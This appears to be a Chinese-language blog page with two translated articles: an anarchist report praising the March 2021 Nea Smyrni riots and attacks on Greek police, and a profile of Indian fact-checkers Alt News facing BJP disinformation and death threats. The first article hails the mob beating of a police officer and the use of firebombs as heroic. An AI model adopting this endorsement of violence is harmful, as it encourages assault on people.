幸运的是，库方提纳斯是一个革命者，而不是一个烈士。他被告知了他的抗议成果；一旦法院和行政部门对他的权利的欺骗被揭穿，他选择停止绝食。

希腊的政治运动所面临的国家镇压形式多年来不尽相同，但自新民主党政府上台后，它们才与美国等国家的镇压形式趋向一致。希腊国家正通过对政治反对派的长期攻势，包括数字技术镇压、所谓的“生活质量”治安、以及通过制定新的“反恐法”加强调查和惩罚，急于使其镇压战术现代化。

新民主党正在传达这样的信息，即：没有什么能阻止他们实施这种新常态。这给革命运动敲响了警钟：我们必须相应地进行调整和发展，以确保这种镇压不能粉碎抵抗的可能性。

3月9日：奈斯米尔尼的冲突

「图」

3月9日反对警察暴力的示威在全国范围内创造了一种新的局面，使人们能够在雅典的街头和广场上更自由地呼吸。抗议者理解这些事件的背景是库方蒂纳斯的绝食抗议、不断的学生示威和警察的无情镇压所引发的反抗情绪的复苏，但这些事件值得详细叙述。

雅典市中心声援库方蒂纳斯的示威活动不绝于耳，与日俱增，因为人们相信他的死亡越来越近。运动已经做了各种尝试，试探着在封锁中发现什么是可能的，是时候开始涉足了。

抗议者不顾风险地出现在街头；整个社会也厌倦了这种持续的专制实验。当重症监护室爆满，感染率飙升的时候，很明显，警察强行对抗议者进行的控制是没有逻辑的，尽管媒体试图吓唬所有人，试图让人们毫不怀疑地接受。3月9日在奈斯米尔尼发生的事无疑是全国各地酝酿的更广泛的紧张局势的产物，它说明了起义超越典型的抗议者人口统计学的普遍性意味着什么。

3月9日的前一个周末，警察在一个热门广场对人群进行检查，看他们是否向国家电话服务部门发送了适当的短信，或者是否能提供文件证明他们有权按照COVID-19的规定外出。警察骚扰了一个家庭，仅仅因为他们坐在广场上就开出了**300**欧元的罚单。然后，警察粗暴地对待一个对此表示反对的人；幸运的是，有人拍下了这段视频。最后，警察逮捕了那个不遵守命令的人，并躲避旁观者的取证镜头继续虐待他。

起初，警方声称，他们“是在30人攻击他们之后”才抓到这名男子的。媒体推崇这种说法，但是，事实证明这是公然捏造的。抗议者拍摄的原视频的传播，打破了媒体传播的谣言。

警方利用封锁的借口，在雅典和全国各地不断实施这种暴力。在科普瑟里等不同的社区，以及丽埃萨车里等被认为是反警察区的抗议地区，警察对有色人种、移民和难民进行骚扰，却不担心有人会为这些弱势群体的权利说话，也不担心法院会考虑他们的请求。

在不否认警察的残暴和专制的情况下，这次殴打的视频和警察骚扰的报道得到了主流媒体的报道，只因为被打的人 **Nea Smirni** 是一个中产阶级，在以希腊白人为主的社区。被拍到的东西被认为是警察不法行为的证据，只是因为受害者是警察要保护的那种有钱人。因此，媒体无视数以千计的示威游行和大赦国际等人权机构谴责的暴行，别无选择，只得公布了这名男子被殴打的画面和不带面具的警察在其家人面前尖叫的画面。

左翼人士、社区组织者和无政府主义者要求在录像拍摄地奈斯米尔尼的主广场举行反警察示威。这次示威与市中心的普罗皮莱门和宪法广场的示威不同的是，有大量附近的人参加。据估计，这次游行有一万人在广场上，正式的组织只占其中一少部分。无政府主义者在场，随时准备战斗，但附近的爷爷奶奶们、青少年和孩子们也遭受了警方的

袭击。

警察在防守，传播的视频中的暴力无法否认，通过观看视频打开的眼界很容易游走到无数其他关于残暴、镇压和酷刑的描述中。许多人加入了示威游行，以为警方会保持距离，尤其是左、右媒体都在暗示，如果警方不克制，就会有重演2008年的迹象。为了显示宽容，用于控制人群的MAT和Delta警察驻扎在示威活动附近，但在附近的警察局和移动指挥所处于防守状态。

警方没有料到会有这么多平时不参加示威的当地人出现在街头。他们也没有预料到AEK、阿特罗米托斯、帕尼奥尼奥斯和奥林匹亚科斯等俱乐部之间的空前合作，所有这些俱乐部都非正式地联合起来反对警察，并加入了示威活动。

对警察的敌意足以让那些通常连坐在对方附近都无法保证不互相刺杀的人们团结起来。这些平时的足球流氓们为奈斯米尔尼的抗议集会带来了一种激动人心的自发力量；他们与无政府主义者和反法西斯主义者一起，重新塑造了对示威的期望。2008希腊起义纪念馆旁AEK俱乐部的涂鸦

在警察保持距离的同时，当地居民和各种反抗组织将游行队伍带到了当地警察局。他们与防暴警察和催泪瓦斯发生冲突，然后试图走向当地市长办公室，这时警察开始骑摩托车向人群冲撞。

游行队伍被打散，分解为各自的组织。一群人拿着棍棒、石块、照明弹、自制燃烧弹和其他任何他们能找到的东西占领了街道。许多小规模的战斗没有被报道，从住户向当地警察局投掷石块，到警察向示威者投掷自制燃烧弹，但有一个革命的时刻被拍成了视频。

一队警察用他们的摩托车向附近通往奈斯米尔尼的高速公路入口处的抗议者发起进攻。数百人逃离，但可以看到一个人向前奔跑 —— 这就是众所周知的燎原之火。这个勇敢的人向警察跑去，从摩托车上抓住一名警察，把他扔在地上。

瞬间，又有数十人勇敢地冲向警察。其他警察抛弃了他们的同事，逃走了。这并不奇怪，因为他们的纽带是由薪水产生的，而抗议者之间的纽带则是由对自由的热情激发的。

这名警察被殴打，但袭击者有意识地保全了他的生命。虽然警方在3月9日试图保持距离，但通过无数次的起义和袭击，他们已经收获了他们所播种的东西。

尽管警察放弃了自己的同事，但抗议者们还是撤退了。全城的警察以针对奈斯米尔尼的起义浪潮作为回应。他们公布的视频画面显示，警察集结起来，大喊“我们要把他们都杀了！”，尽管一些电视频道为了保护警察的公众形象，将其修改为“他们要杀了他”。

当天晚上，警察随意抓人。他们无情地殴打青少年，突击搜查人们的住所和商店，把附近的每一个人都当成了目标。

一名少女不忍心看着自己的朋友被警察殴打，试图出面干预，却遭到殴打和强奸的威胁。网上出现了整晚拍摄的视频，显示了警察的本性，同时当晚和随后几天发生了许多逮捕事件。一个所谓的“反恐”工作队在一个社会中心外逮捕了活动家集体 Masovka 的一名参与者；在这里查看对该集体一名成员的采访，了解他遭受的被捕和酷刑。

警方已经逮捕了几名来自足球流氓俱乐部的人，据称他们与警察被殴打事件有关，特别是包括一名来自奥林匹亚科斯的伊拉克籍成员。这次逮捕完全是根据被逮捕者的一个遭受麻烦的亲戚的证词进行的，而明显的视频证据表明此人当时在完全不同的地区，此后证据也被公开。然而，尽管有多个来源的证据表明，此人在事件发生时根本不在该地区，但他仍然被关在监狱里—— 而且很可能会一直被关在监狱里，直到警方找到其他责任人。

总理在电视上对受伤的警察表示慰问，恳求团结，但同时驳斥了挑起示威的警察暴行。右翼媒体试图把警察当作受害者来为警察的行为开脱，暗示一个警察倒下比整个社会生活在恐惧中更糟糕。尽管如此，全国各地的居民区还是发起了示威游行，各地的人们聚集在一起反对警察。

镇压一直持续。然而，除了丽埃萨车里、移民区、难民营和监狱等少数反叛街区外，警方被迫后退了一步—— 毫无疑问，这是人们联合起来反对他们的结果。

平日的小混混们也为3月9日的示威提供了相当大的力量。出现在那天的视频中的不仅仅是无政府主义者，虽然他们是街头的一支重要力量。同样，这也不是一个孤立的事件，足球流氓为希腊的各种革命时刻做出了贡献，尤其是2008年12月的起义。

就个人而言，人们对与流氓行为相关的文化有一些批评。批评的是作为其基础的微观民族主义心理，以及相关的厌女症和性别歧视。特别是在希腊，黑手党、商业精英和流氓俱乐部之间的关系是显而易见

的。然而人们不应断然否定流氓，这个原本因贫穷而生的小圈子，从一开始就鄙视警察，值得抗议者思考。

在希腊，竞技运动是所有人从小就能接触到的，为很多人提供了政治入门的机会，这里的竞技运动要比朋克摇滚或嘻哈要多得多。与美国不同，在美国，青年文化已经被非政治化，职业体育和足球流氓俱乐部在希腊社会和许多人的政治化中扮演着重要角色，无论好坏。

在希腊的城市甚至乡村，你几乎无法不看到流氓涂鸦 —— 也包括反法西斯主义、无政府主义、或法西斯主义和民族主义的涂鸦与俱乐部logo一起出现。许多年轻人从小就在流氓小全圈子和体育俱乐部中找到了自己的身份和社区，随后通过这种经历了解了政治和对某些机构的自觉蔑视。

例如，AEK作为一支与美国NBA或NFL齐名的主流体育球队，反法西斯球迷的数量很多，而奥林匹亚科斯等球队往往吸引了更多的法西斯球迷。两家俱乐部中都有法西斯主义者和反法西斯主义者，但问题是，流氓主义对许多人来说是通往政治的大门，尽管它有种种缺陷。

当你想到美国的校园枪击案涉及那些找不到社区或任何挫折出口的异化青年时，可能流氓主义或球迷俱乐部代表了一种更健康的生存恐惧的出口。纵观历史，体育一直被用来延续观赏性和保护现状；同样，无论好坏，流氓主义有时也会挑战这一点。无论如何，3月9日在奈斯米尔尼，这些俱乐部与其他反抗者分享了团结和复仇的喜悦。

在处理流氓主义作为希腊无政府主义运动的一种存在的潜力和缺陷时，我们想起了阿尔弗雷多·博南诺（Alfredo Maria Bonanno）的话：

> “永远不可能在解放的暴力与斗争的条件之间取得平衡。解放的过程在本质上是过度的。要么在过度的方向上，要么在不足的方向上。”

学生

「图」

政府希望压制有近50年历史的大学庇护传统，继续将警察推向校园。这是与教育私有化、破坏运动基础设施、和按照新自由主义模式使国家“现代化”的努力同时进行的。然而，学生和其他年轻人继续走上街头，表示永远不会欢迎警察进入校园。截至目前，学校仍然关闭，

所以这仍然是一场假设性的斗争，但利害关系很快就会具体化。

全国各地的大学里，猫鼠游戏的占领行动仍在继续。学生们会占领一栋楼，再在警察的突袭中失去这一领地，然后在第二天又占领另一栋楼。位于萨罗尼加的大学总部已经成为一种自治区域，多次被突袭和重新占领。它仍然具有弹性，本着学生斗争的精神，它的出现，表明社区如何在没有警察的情况下保持更安全。它被用作社区资源中心，提供免费课程、技能分享和其他各种互助努力。

尽管有COVID-19，但全国各地的学生示威活动仍在继续，预计随着学校重新开学，封锁的缓解和国家新的校园政策的检验，示威活动会更加激烈。

封锁

「图」

尽管感染率创下纪录，但目睹国家在即将到来的旅游旺季之前拼命地重新开放，实在是有辱斯文。所有这些生活在炼狱中的月份，人们的“自由” 按照国家资本主义的生存定义来衡量，即将结束，于是他们可以像动物园一样开放国家。

他们政策的失败是显而易见的，无论是政府任务的矛盾，还是希腊医院里上演的悲剧。国家已经被置于防御状态。然而，政府继续向民众施压，辩称这些措施的失败 “是公民没有正确遵守这些措施的过错”。

看着当局准备在感染率达到历史最高点的时候强行重新开放零售业和旅游景点，人们不禁要问，他们是不是想把高峰推得更高？这只是猜测，但它比议会中的任何东西都更有意义。

当国家推动为游客重新开放时，医务工作者正在医院和卫生部外抗议示威，要求提供PPE，ICU设施扩建，并解决与这场医疗危机有关的其他基本需求。**MAT**防暴队的成员—— 和希腊其他执法部门一样，他们以牺牲医院及其工作人员的利益为代价，提高了工资和预算 —— 粗暴地袭击了最近一次医疗工作者的示威活动。

与美国相比，这里几乎没有努力承认基本工人是 “英雄”。在美国，颂扬送货工人、杂货店工人和医务工作者的努力似乎是资本主义战略的一部分，以创造战争叙事，授予某些工人 “英雄” 地位，同时保持他们的低工资。在希腊，警察和军队在**COVID-19**期间被主流叙事努力美化，他们的预算也被增加了—— 尽管他们在解决流行病方面没有

发挥任何实际作用。与此同时，送货员、杂货店工人、医务人员和其他重要的劳动者被宣称是幸运的，只是因为他们在这段时间里有一份工作。如果他们要求更多的工作权利，他们将面临骚扰、暴力和国家的愤怒。

任何从医院剥离出来扩大警察和军队预算的封锁，都不是真正为了保护人民的健康。这样的封锁只能是专制主义的实验。在3月的普遍反抗之后，警方已经被动地从执行封锁中退了出来。每个人都目睹了政府如何利用病毒推行新政策，重组人们的日常生活。虽然很多人都认识到COVID-19的激增对医院和弱势群体的灾难性影响，但大多数人只是变得厌倦了。

当然，警察依然在丽埃萨车里横行霸道，追赶有色人种实施封锁罚款和拘留，但大多数人根本不在乎了，并采取了相应的行动。当德国游客登陆克里特岛度假，而居住在这里的人们却被禁止在离家两公里以外的地方买东西，还能有什么其他反应呢？

简单地说，政府已经失败了。它将自己的失败归咎于它所统治的那些人，但它的整个存在都被它能保护我们免受前所未有的事件的影响这一概念所合理化。然而它并没有保护我们。这进一步证明，国家政权即使不是祸害，也是个麻烦，它的存在只是为了维护一种现状，使特权阶级受益，而牺牲其他所有人的利益。

镇压

「图」

自新民主党上台以来，希腊国家一直在加倍镇压无政府主义活动家。然而，尽管有恐惧，这场运动仍然强大而有韧性，得到了坚定而广泛的声援。罚款、逮捕、拘留、冗长的审判和编造的所谓反恐案件是无情的，但反抗运动仍在继续。

希腊监狱的情况继续恶化，这既是由于COVID-19，也是由于监狱部长 Sofia Nikolaou 利用额外的资金来提高狱卒的工资，而不是确保囚犯的安全。虽然许多法庭案件正在进行中，但我们想特别强调其中几个案件。

埃罗尔是一名出生于法国的无政府主义者，12月6日被抓捕，他被关押在移民拘留所，未经审判就被驱逐到法国，这违反了他在欧盟的合法权利。埃罗尔的案件代表了希腊国家前所未有的举动。埃罗尔在雅典的一次反种族主义集会后再次被捕，并被重新关进了名为 Petrou

Ralli 的移民拘留所。3月29日，他在被拘留后被释放，并被给予30天的时间离开希腊，否则将面临进一步的法律诉讼。尽管希腊国家试图摆脱他，但他的反抗勇气令人鼓舞。

与此同时，被控参加 “革命自卫组织” 的无政府主义者 Vangelis Stathopoulos 的审判已经恢复。上诉法院也为游击组织 “革命斗争” 重新开庭。

对无政府主义者 Dimitra Valavani 的审判已被推迟。警察通过严厉的恐吓和酷刑，暴力提取了她的DNA样本。

未来的道路

「图」

我们希望，随着封锁的放松和季节的变化，人们不要变得健忘或自满。我们会记得11月17日因在丽埃萨车里理工学院遇害学生纪念碑上摆放鲜花而被开罚单的妇女，记得12月6日被警察毁掉的 Alexis Grigoropolous 的纪念鲜花，记得警察经常向我们发出的强奸和谋杀威胁。我们希望人们能够记住，在封锁期间，警察是如何对公开的海洛因贩运和妇女在流行病期间被迫工作的妓院视而不见，同时攻击任何不同意见的表达。这些都是最令人震惊的例子，但不能忘记这几个月来，无数学生、活动家、和选择站出来反抗警察的居民所遭受的广泛的肉体折磨和暴行。

很多人都在为这个夏天做着准备，就好像这是我们最后一顿饭一样。我们从最后几周知道，一直以来，有些东西在成 长—— 我们的心灵和思想，我们的勇气和承诺。我们和许多人一起成长，超越了我们的运动，在这个社会里，**COVID-19**强行揭示了国家和资本主义的真实性质。在一个政府管理比世界上大多数地方更混乱、更卡夫卡式的地方，即使是民族主义也无法让人们看不见现政权如何利用这一流行病的事实。

在我们结束这个月的报告时，雅典又开辟了一个新的抗议地点，而塞萨洛尼基大学总部的一个自治区随着对剧院和科学系大楼的占领而继续获得动力。与此同时，对难民社区的袭击仍在继续，**COVID-19** 的死亡人数在飙升，警察和法西斯分子公开合作，在希腊脱离土耳其独立**200**周年之际，袭击了塞萨洛尼基的一个社会中心。

过去几周的行动力鼓舞了所有人，尽管目睹暴行不可避免地带来了种种伤害，迫使我们进行抵抗。声援那些在各地与国家政权和资本主义

斗争的人们。〇

MARCH & APRIL 2021: “OUR HATRED FOR THE POLICE WILL BRING US TOGETHER”

原文

“挑战政权的人会死在监狱 …… 但我们不怕”：捍卫真相的事实核查员与反乌托邦的斗争 - iyouport

反抗者-寻求经验

“停止写文章，否则我们会开枪打死你”

在中国，我们最常听到的话就是，“这不行，很快会被抓的”、“这没用，你斗不过他们”、“要接地气，这些东西不适合中国”，等等；这些回复被用来拒绝值得建议的反抗战术的可行性。

中国并不是唯一一个真正草木皆兵的国家，事实上有很多国家对异议的镇压力度要超过中国，这并不是夸张；但是，唯一不同的是，虚无的程度。

本文描述的是一个与中国更多相似的国家：文字狱、死亡威胁、人格暗杀、官宣信息战、对少数民族的迫害、政治宣传完全控制叙事、假消息泛滥辟谣效果很差、媒体被执政党金钱绑架、说真话的记者被终身监禁、反抗者死在监狱里、trolls攻击和人肉迫害、当权者花样不断反对派措手不及 …… 政府不需要任何理由就可以把你送进监狱。

但反抗者从来没有放弃。正如他们所说，“反抗工作是有风险的，但这是时代的需要”。

这是关于，如何在一个专制政权下为正义事业工作。希望本文能给在中国的有志之士带来鼓舞。

2月下旬，一段视频开始在推特上流传，视频中一名戴着无边便帽的男子袭击了另一名男子。“你可以从他们的衣服上认出他们”，印度人民党(BJP)政客纳文·库马尔(Naveen Kumar)在推特上说，这显然是指攻击者的推定宗教身份。作为拥有超过25,000名推特粉丝的执政党发言人，库马尔能够在这个印度教占多数的国家为其仇视伊斯兰教的信息提供广泛的受众。

这条推文引起了印度最负盛名的事实核查组织之一 Alt News 的联合创始人穆罕默德·祖拜尔的注意。每天，祖拜尔都要对印度社交媒体和WhatsApp渠道中涌现的数百条可能的虚假信息进行筛选。当祖拜尔注意到这个视频时，该视频已经开始流行起来。

3月2日，Alt News 发表的一篇文章显示，视频中的攻击者并不是像印度人民党发言人的帖子所暗示的那样，而是斯里兰卡的一名精神病患者，他无缘无故地对一名印度人大打出手。该事实核查被上传到 Alt News 的网站、移动应用程序和社交媒体页面。祖贝尔还在推特上把他的发现发给了库马尔。而这位政客并没有删除该帖子。

虚假信息在全世界范围内都是一个挑战，但在印度，它实际上已经融入了执政党的沟通。虽然像 Facebook 和推特这样的错误信息承载平台已经试图遏制它，但这还远远不足以阻止这种趋势。普通的印度媒体消费者从打开当天的报纸到晚上躺在床上滚动智能手机，都会被虚假信息所淹没，以至于如果人们不努力自己去寻找事实，他们就只能不断被欺骗。

这就是为什么两位工程师，38岁的祖贝尔和他39岁的同事普拉蒂克·辛哈，在2016年联合起来成立了 Alt News，用细致的开源情报调查驳斥虚假信息。但是，虽然他们的知名度近年来有所提高，但他们仍然发现自己在一个对真相日益敌视的国家里疲惫地玩着打地鼠游戏。

对真相的敌视也同样是全球现象。如果您错过了《真相衰变》

Alt News 总部位于古吉拉特邦最大的城市艾哈迈达巴德。在大流行病迫使其团队呆在家里之前，12名全职工作人员在其位于一条安静的住宅小巷的办公室里工作。现在，在南部城市班加罗尔的家中，祖拜尔是一位富有魅力的外向型人士，他负责管理事实核查任务以及 Alt News 的大量社交媒体粉丝—— 其多个平台上的粉丝超过130万，包括祖拜尔和辛哈自己的粉丝。

每天，祖拜尔都会翻看自己的智能手机，扫描那些他知道只是为了传播虚假信息而存在的社交媒体账户。他还观察着 Alt News 的WhatsApp号码，鼓励人们发送图片和视频以提交验证。通常，人们会要求核实关于印度电影明星的八卦，而现在，随着该国受到第二次疫情浪潮的影响，虚假的家庭疗法也在四处流传。

但祖贝尔说，印度媒体生态系统的独特之处在于，大部分虚假信息都集中在宗教少数群体上，尤其是穆斯林，印度最大的少数民族。他说："来自埃及的照片被误认为是印度大流行病高峰期的斋月聚会，

来自孟加拉国的场景被误认为是反印度教的暴力，这些东西非常常见”。

到了上午11点，祖拜尔开始分配任务。有些事实核查是相当直接的：反向图像搜索，与相关主题的专家通话。但是，当调查需要更多的技术技能时，例如，当团队决定追踪一个极右翼网站背后的人时，祖拜尔会给住在艾哈迈达巴德的辛哈打电话。

如果您错过了《调查一个可疑网站的最简单方法：从追踪到验证的思考方式（6）》

祖拜尔负责管理事实核查任务，而辛哈是编辑，他控制着引擎盖下的一切。他帮助创建了一个移动应用程序，除了提供当天的事实核查情况外，还允许用户提交材料进行核实，将人们从虚假信息恶性循环的被动接受者提升为主动寻求真相的参与者。

辛哈也是让 Alt News 摆脱困境的人。在世界新闻自由指数中，印度在180个国家中排名第142位，该指数的创建者在最近的一份报告中指出，“对媒体施加的压力越来越大，使其服从印度教民族主义政府的路线”。数十名记者被指控犯有煽动罪，这种罪行可被判处终身监禁。有些人最后就死在监狱里了。辛哈负责管理事实核查团队的数字安全，但不仅仅是这样 —— 保持 **Alt News** 团队的人身安全也是他每天工作的重要部分。

对于每一位行动者来说，安全都是最重要的第一位，您必须首先尽可能保证不被抓到，才能继续您的正义事业。如果您是行动者，请参见我们的 列表-*5* “护盾” 栏目、如果您有一个团队协作，请使用我们的《整体安全》教程。

随着虚假信息在当今印度的频繁出现，人们很容易忘记它并不总是这样。

当虚假信息第一次开始在全国广泛流传时，是2014年大选的前夕。选举中，该国最古老的政党 印度人民党的纳伦德拉·莫迪胜出。当时，自1947年印度独立以来的近70年里，中左翼的国大党在大部分时间里一直掌权。该党以其雄心勃勃的福利计划而闻名，这些计划为贫困人口的急剧减少做出了贡献。但它被一个家族 —— 甘地家族所控制，并受到腐败和自满情绪的困扰。

如果您错过了，关于印度曾经到现在的故事《少说话，多办事 …… 当坏蛋手持宪法》

另一方面，莫迪属于一个低种姓家庭，收入不高。他是著名的商业友好型清官，吸引了塔塔汽车和福特等大公司到他的家乡古吉拉特邦。莫迪上台时，古吉拉特邦已经是印度工业化程度最高的邦之一，但他的团队成员创造了“古吉拉特邦模式”一词（听起来像“枫桥经验”），这就是创造这位政客的神话的基础。这种声誉使他得到了印度中产阶级和富裕侨民的青睐，他们对印度相对于隔壁的超级大国——中国而言进展缓慢而感到沮丧。这些团体为莫迪的竞选活动慷慨解囊，以至于2014年的选举看起来像一场独角戏。

然而，莫迪的记录上有一个污点。2002年2月，在莫迪担任首席部长的第一个任期内的几个月，一列主要载有印度教朝圣者的火车起火，导致59名乘客死亡。莫迪声称，这场火灾是一次“有组织的恐怖袭击”，并决定将这些尸体公开展示。他的说法得到了古吉拉特语媒体的支持，这些媒体带头开展了针对该地区穆斯林的仇恨运动。第二天，印度教暴徒决心复仇，向他们的穆斯林邻居开火，烧毁穆斯林的房屋和企业。**1,000**多人被杀，而对莫迪政府负责的国家警察则大多袖手旁观。

尽管铁路保护部队的报告后来得出结论说，杀人事件是由印度教徒和穆斯林之间的“自发争吵”造成的，而且人权观察的报告也将莫迪的政府与暴力事件联系在一起，但对印度的许多人来说，莫迪对这些事件的说法是站不住脚的。Pravda 媒体基金会（Alt News 的母公司）主任、普拉蒂克的母亲尼尔贾里·辛哈（Nirjhari Sinha）称莫迪的火车故事是一个“神话”——在印度流传的“最大的虚假信息之一”。

但是，莫迪继续当选为第二任首席部长，然后是第三任。到了他竞选总理的时候，他的政党在全国范围内开展的虚假信息宣传战的两个目标已经显而易见。

首先是人格崇拜，通过传播有关莫迪的英雄主义的虚假故事，如声称他救了15000名被洪水困住的人，把他塑造成一个有能力的领导人。其次是民族主义，将他塑造成一个能让印度得到尊重的全球领导人。有一次，当时的总统巴拉克-奥巴马的照片被传得沸沸扬扬，标题是“即使是奥巴马也在听 NaMo[纳伦德拉·莫迪]的演讲”。

在2014年选举之前，一支右翼trolls大军来到了推特上。一些观察家认为这些匿名账户是独立工作的“莫迪走狗”。然而，正如一位前trolls 后来告诉媒体的那样，一些trolls是由印度人民党内部协调的大型宣传机器的一部分。（人民党的前社交媒体负责人在接受《印度快报》采访时否认了这一说法）。反对派对这一指控准备不足。拉胡尔·甘地直到2015年才开始使用Twitter，那时莫迪的粉丝已经超过1200

万。今天，甘地仍在追赶，他有1800万粉丝，而莫迪有6700万粉丝。“莫迪当时处于掌控叙事矩阵的位置”，尼尔贾里·辛哈说，“没有任何人能够反驳它。”

Trolls 将一种新的语言纳入印度社交媒体的主流，而之前的社交媒体比较平和。他们用仇恨言论和性暴力威胁来恐吓那些对莫迪持怀疑态度的人：反对派领导人、宝莱坞名人、记者，甚至普通选民。

这场运动可能让一些印度人觉得他们除了选举莫迪之外别无选择；他被推崇为弥赛亚。到那时，“古吉拉特邦模式 ” 一词已成为印度发展的代名词。

作为古吉拉特邦人，辛哈亲身见证了莫迪的政策。辛哈说：“在古吉拉特邦，民权活动家告诉媒体，所谓的古吉拉特邦模式不是一个发展模式。正如该模式的批评者所指出的，在企业快速发展的时期，它掏空了公共机构。这是一个专制主义的、压迫少数民族和制造恐惧的模式，它将重演。”

莫迪以压倒性优势赢得了2014年的选举。而任何认为他对虚假信息的沉迷只是竞选伎俩的人都错了。

Alt News 在2017年2月发布了第一篇帖子，驳斥了一个GIF，该GIF显示唐纳德·特朗普举着一个写着 “投票给BJP” 的文件夹。这个病毒式传播的GIF完全是业余玩法；它被自动打上了水印，上面写着制作它所使用的应用程序的名字。但在那时，它正是印度人民党分享的那种内容的典型。在莫迪赢得选举三年后，所有印度政党都犯了传播虚假信息的错误，但只有印度人民党将其作为整个传播战略的组成部分。

那一年，Alt News展示了一系列声称发布 “新闻” 的右翼网站如何在实际中传播虚假信息。但是，Alt News不仅仅是处理个别帖子。它的团队记录了这些右翼 “新闻” 网站是如何成为一个复杂的拼图中的一块。这些网站在Facebook、Twitter 或 WhatsApp 上发布的任何信息都会以看似协调的方式进行病毒式传播。其中一些网站出现在 Facebook 群组中，名称为 “我们支持印度” 和 “我相信印度人民党”，它们变得如此受欢迎，其流量超过了当时的许多合法新闻网站。通过调查，Alt News 能够发现其中一个网站与印度人民党党员之间的直接联系。

Alt News 的调查使其对印度虚假信息工厂的核心产生了怀疑。2019年的一则新闻是关于印度在紧张局势加剧期间对邻国巴基斯坦农村地区的空袭，这表明主流媒体对莫迪的虚假信息品牌已经有了初步了

解。虽然当地记者和外国记者都报道说这次空袭可能只击中了几棵树，但是，印度有线电视新闻频道援引“政府高层人士”的话说，这次空袭杀死了约300名恐怖分子。

在有争议的克什米尔地区发生恐怖袭击造成40名印度士兵死亡后，巴基斯坦的空袭是为了报复，这是与巴基斯坦长达几十年的冲突中典型的武力展示。但在空袭后的几天里，其中一名被杀的印度士兵的母亲说，她的家人还没有看到巴基斯坦有人死亡的证据。“我们需要看到恐怖分子的尸体”，她告诉记者。

“紧接着，图片开始流传”，辛哈回忆说：“一组五张图片据称显示了在空袭中死亡的巴基斯坦恐怖分子的尸体。但 Alt News 经过反向图片搜索才发现，其中四张照片都是2015年巴基斯坦热浪中的受害者，另一张似乎是爆炸案的受害者—— 发生在2013年，来自该国一个完全不同的地区。

辛哈说：“有人试图设定叙事”。“首先，他们利用大众媒体宣称有近300人被杀，而实际上每家报纸和电视频道都在转发这一信息。然后，他们用虚假图片填补了缺失的部分，并充斥着每个人的WhatsApp”。辛哈说，他不相信这两件事都是一个人做的，但信息传递表明这个过程是有组织的。

辛哈公开揭穿虚假的努力并没有被忽视。2017年，他收到了第一个通过电话发出的死亡威胁。**“Likhna band kar do nahin to goli maar denge”——** 意思是“停止写文章，否则我们会开枪打死你”。

如果有人直接看到了印度的这一黑暗现实，那就是普拉蒂克·辛哈。他在艾哈迈达巴德长大，这个城市是莫迪建立其政治声誉的地方。辛哈的父母穆库尔(Mukul)和尼尔贾里(Nirjhari)都是科学家，但他们也是活动家。辛哈说：“在我童年的许多照片中，都是我坐在某人的腿上参加示威活动”。他的父母在他们这个有商业头脑的家庭中脱颖而出；他的亲戚们渴望在西方获得高薪工作的奢侈，而不是与有权势的人纠缠不清。而在辛哈的家里，电视被设置为新闻频道，在晚餐时间，谈话主题都是政治。

起初，辛哈选择了一条传统的道路，这使他在大家庭中很受欢迎：他成为一名软件工程师。2002年古吉拉特邦大屠杀发生时，他正在班加罗尔生活和工作。他搬到了美国，在那里他所面临的挑战与他父母所处的世界截然不同；他的一个项目涉及杂货店优惠券的数字化。

另一方面，他的父亲穆库尔（Mukul）因为参加工会活动而失去了工

作，随后被培训为一名律师。他很快就成为一个小型但强大的抵抗运动的公众形象。“请不要说这是一场暴乱。这是种族灭绝，纯粹而简单”，穆库尔·辛哈在2002年6月告诉《电讯报》。

穆库尔·辛哈在法庭上代表许多大屠杀的受害者。他还继续代表一连串法外处决的受害者家属，这些处决带有国家的印记。他的工作是2010年莫迪最亲密的盟友—— 一位名叫阿米特·沙阿的政治家被捕的基础。尼尔加里·辛哈回忆说，在沙阿被捕的那天，市警察局长办公室打电话给穆库尔，告诉他有一群暴徒正朝他家走去。暴徒没有出现，但这种死亡威胁对穆库尔来说早已是家常便饭了。沙阿在入狱三个月后被保释出来，2019年，莫迪任命他为印度内政部长。

2013年，即莫迪取得压倒性胜利的前一年，穆库尔·辛哈被诊断出患有癌症，他当时31岁的儿子决定留在艾哈迈达巴德的家中，几个月前他已经回来了。“那是我的政治教育真正开始的时候”，辛哈说。离开多年后，辛哈与他的家人走得很近，决心从他父亲那里学到一切。

辛哈想起了他的父母对2002年大屠杀前后的事件进行了深入调查。是他们向他介绍了虚假信息的概念和危险，是他们向他展示了整个大屠杀是如何建立在一个谎言之上的。他们获得了证人的证词和警察的档案。他的母亲亲自分析了通话记录，其中有证据表明州政府对侵犯人权行为视而不见。辛哈说，他学到的主要课程是“如何在一个专制政权下为正义事业工作”。

尽管辛哈夫妇坐拥潜在的爆炸性数据的雷区，但他们找不到任何人来公布这些数据。因此，精通技术的普拉蒂克建议他的父母在网上公布他们的发现。在他父亲说话的时候，普拉蒂克打字，将莫迪在古吉拉特邦的活动整理成一份档案。辛哈家人的调查谴责印度人民党领导人未能阻止起义中的大规模谋杀。这让人读起来心惊肉跳。

由此产生的网站“古吉拉特邦的真相”于2013年7月首次发布，并迅速培养了一批崇拜者。辛哈说，主流媒体报道了他们的一些故事，但这还不足以在全国范围内产生影响。“没有任何地方接近”，那时，莫迪的政治明星指数已经在上升了。

祖拜尔当时是一名电信工程师，经常在社交媒体上花费数小时，他是辛哈家族日益增长的追随者中的一员。对祖拜尔来说，“古吉拉特邦的真相”显然是印度大众媒体中的一个异类。当然，在 Facebook 上的趋势是朝相反的方向发展的。大量的网页如雨后春笋般涌现，除了提高印度教的士气，没有其他明显的目标。祖拜尔一开始以为这些只是提供信息的社区，但很快就发现，他们的真正目的是动员对印度人

民党的支持，最终帮助莫迪获胜。他回忆说："这些宣传者旨在把任何事都与印度教联系起来"。

他们坚持的一个说法是，世界上的每个人最初都是印度人，但印度人现在正面临着灭绝的威胁。祖贝尔注意到，人们很容易被这些说法所迷惑，在各种平台上用成千上万个赞来表达他们的赞赏。

这些"互联网印度教徒"，即这些内容的创作者和他们的受众，主要被莫迪所吸引，但许多人也是一位名叫苏布拉马尼亚·斯瓦米的政客的粉丝。2011年，斯瓦米因对穆斯林发表应受谴责的言论而被哈佛大学解除教职。此后，他在推特上发表自己的言论，他经常在推特上发表怪异的推文，找到了大量的受众。祖贝尔注意到斯瓦米没有一个 Facebook 页面，所以在2014年6月，在一个有趣的时刻，他代表这位政治家做了一个页面。

